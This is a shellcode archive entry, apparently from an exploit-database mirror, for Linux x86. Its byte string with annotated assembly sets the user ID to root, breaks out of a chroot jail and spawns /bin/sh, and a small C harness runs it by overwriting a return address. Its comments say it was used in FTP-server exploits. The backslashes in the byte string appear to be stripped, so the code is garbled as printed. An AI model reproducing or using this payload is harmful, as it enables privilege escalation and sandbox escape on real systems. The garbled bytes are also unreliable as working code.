[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 break chroot setuid(0) + /bin/sh 132 bytes
# Published : 2000-08-07
# Author : n/a
# Previous Title : linux/x86 add user 70 bytes
# Next Title : os-x/PPC add inetd backdoor 222 bytes
/*
* Linux/x86
*
* - setreuid(0, 0);
* - chroot-break (make a temp dir with mkdir(), chroot() to tempdir,
* go through a loop of chdir(".."); then a final chroot(".");
* - execve of /bin/sh
*
* (used in several wu-ftpd, beroftpd and proftpd exploits, amongst others)
*/
#include <stdio.h>
char c0de[] =
/* main: */
"x29xc0" /* subl %eax, %eax */
"x29xdb" /* subl %ebx, %ebx */
"x29xc9" /* subl %ecx, %ecx */
"xb0x46" /* movb $0x46, %al */
"xcdx80" /* int $0x80 */
"xebx60" /* jmp callz */
/* start: */
"x5e" /* popl %esi */
"x8dx5ex0f" /* leal 0x0f(%esi), %ebx */
/* loopz: */
"x39xf3x7c" /* cmpl %esi, %ebx */
"x06x80" /* jl after */
"x03x04" /* addb $0x04, (%ebx) */
"x4b" /* decl %ebx */
"xebxf6" /* jmp loopz */
"x29xc0" /* subl %eax, %eax */
"x88x46x01" /* movb %al, 0x01(%esi) */
"x88x46x08" /* movb %al, 0x08(%esi) */
"x88x46x10" /* movb %al, 0x10(%esi) */
"x8dx5ex07" /* leal 0x07(%esi), %ebx */
"xb0x0c" /* movb $0x0c, %al */
"xcdx80" /* int $0x80 */
"x8dx1e" /* leal (%esi), %ebx */
"x29xc9" /* subl %ecx, %ecx */
"xb0x27" /* movb $0x27, %al */
"xcdx80" /* int $0x80 */
"x29xc0" /* subl %eax, %eax */
"xb0x3d" /* movb $0x3d, %al */
"xcdx80" /* int $0x80 */
"x29xc0" /* subl %eax, %eax */
"x8dx5ex02" /* leal 0x02(%esi), %ebx */
"xb0x0c" /* movb $0x0c, %al */
"xcdx80" /* int $0x80 */
"x29xc0" /* subl %eax, %eax */
"x88x46x03" /* movb %al, 0x03(%esi) */
"x8dx5ex02" /* leal 0x02(%esi), %ebx */
"xb0x3d" /* movb $0x3d, %al */
"xcdx80" /* int $0x80 */
"x8dx5ex09" /* leal 0x09(%esi), %ebx */
"x89x5bx08" /* movl %ebx, 0x08(%ebx) */
"x29xc0" /* subl %eax, %eax */
"x88x43x07" /* movb %al, 0x07(%ebx) */
"x89x43x0c" /* movl %eax, 0x0c(%ebx) */
"xb0x0b" /* movb $0x0b, %al */
"x8dx4bx08" /* leal 0x08(%ebx), %ecx */
"x8dx53x0c" /* leal 0x0c(%ebx), %edx */
"xcdx80" /* int $0x80 */
"x29xc0" /* subl %eax, %eax */
"x40" /* incl %eax */
"xcdx80" /* int $0x80 */
"xe8x9bxffxffxff" /* call start */
"xffxffxff" /* markup */
"x3dx3dx2ax2ax2bx2ax2ax2bx3dx2bx5ex65x6ax2bx6fx64";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%dn",strlen(c0de));
(*ret) = (int)c0de;
}
// www.Syue.com [2000-08-07]